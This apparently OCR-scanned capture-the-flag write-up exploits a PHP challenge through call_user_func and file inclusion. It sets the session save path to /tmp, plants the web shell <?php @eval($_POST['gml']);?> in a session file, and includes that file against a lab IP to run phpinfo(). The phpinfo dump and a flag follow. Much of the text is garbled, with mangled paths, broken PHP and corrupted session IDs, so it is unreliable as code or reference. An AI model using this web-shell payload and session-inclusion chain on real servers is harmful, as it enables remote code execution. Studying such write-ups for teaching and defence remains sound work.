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<?php
highlight_file(__ FILE_ );
error_reporting(9);
ini_set(
$file
$func isset($_GET[
call user_func($func,$ GET);
include($file);

session_start();

$_SESSION[ ] = $_POST][

if($_SESSION[ ]
header(
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FATTAT LAFI FH X AN 504 session HIAEA &, payload:
?function=sesson_start&save_path=/tmp

[ post name %k, #1545 N session S fF:

name=<?php @eval($_POST['gml']);?>
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?function=extract&file=/tmp/sess_blourereni8ioq5mqggr3sh5h5

i) Load URL http://192.168.146.149:2333/?function=extract&file=/tmp/sess_bl0urOréni8iog5magggr3sh5h5
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Post data [ ] Referrer [] User Agent[ ] Cookies

Jost Data gml=phpinfo();
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System Linux dc2f40df9eaf 4.15.0-36-generic #39~16.04.1-Ubuntu SMP Tue Sep 25 08:59:23 UTC 2018 x86_64

Server APl Apache 2.0 Handler

Virtual Directory Support disabled

Configuration File (php.ini) Path /etc/php/7.0/apache2

Loaded Configuration File /fetc/php/7.0/apache2/php.ini

Scan this dir for additional .ini files /etc/php/7.0/apache2/conf.d

Additional .ini files parsed Jetc/php/7.0/apache2/conf.d/10-mysqlnd.ini, fetc/php/7.0/apache2/conf.d/10-opcache.ini, fetc/php

/7.0fapache2/conf.d/10-pdo.ini, fetc/php/7.0/apache2/conf.d/20-apcu.ini, fetc/php/7.0/apache2/conf.d
/20-calendar.ini, fetc/php/7.0/apache2/conf.d/20-ctype.ini, /etc/php/7.0/apache2/conf.d/20-curlini,
Jetc/php/7.0/apache2 conf.d/20-exif.ini, fetc/php/7.0/apache2/conf.d/20-fileinfo.ini, fetc/php
J7.0fapache2/conf.d/20-ftp.ini, fetc/php/7.0/apache2/conf.d/20-gd.ini, fetc/php/7.0/apache2/conf.d/20-
gettext.ini, /etc/php/7.0/apache2/conf.d/20-iconv.ini, /etc/php/7.0/apache2/conf.d/20-igbinary.ini,
Jetc/php/7.0/apache2/conf.d/20-imagick.ini, fetc/php/7.0/apache2/conf.d/20-intlini, fetc/php
/7.0/apache2/conf.d/20-json.ini, fetc/php/7.0/apache2/conf.d/20-merypt.ini, /etc/php/7.0/apache2/conf.d
/20-mysqli.ini, fetc/php/7.0/apache2/conf.d/20-pdo_mysqlini, /etc/php/7.0/apache2/conf.d/20-
pdo_pgsgl.ini, fetc/php/7.0/apache2/conf.d/20-pdo_sqlite.ini, /etc/php/7.0/apache2/conf.d/20-pgsql.ini,
fetc/php/7.0/apache2/conf.d/20-phar.ini, fetc/php/7.0/apache2/conf.d/20-posixini, /etc/php/7.0/apache2
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1 <?php
2 //flag{dsdhfbsfbkuendjsknflkdsj};
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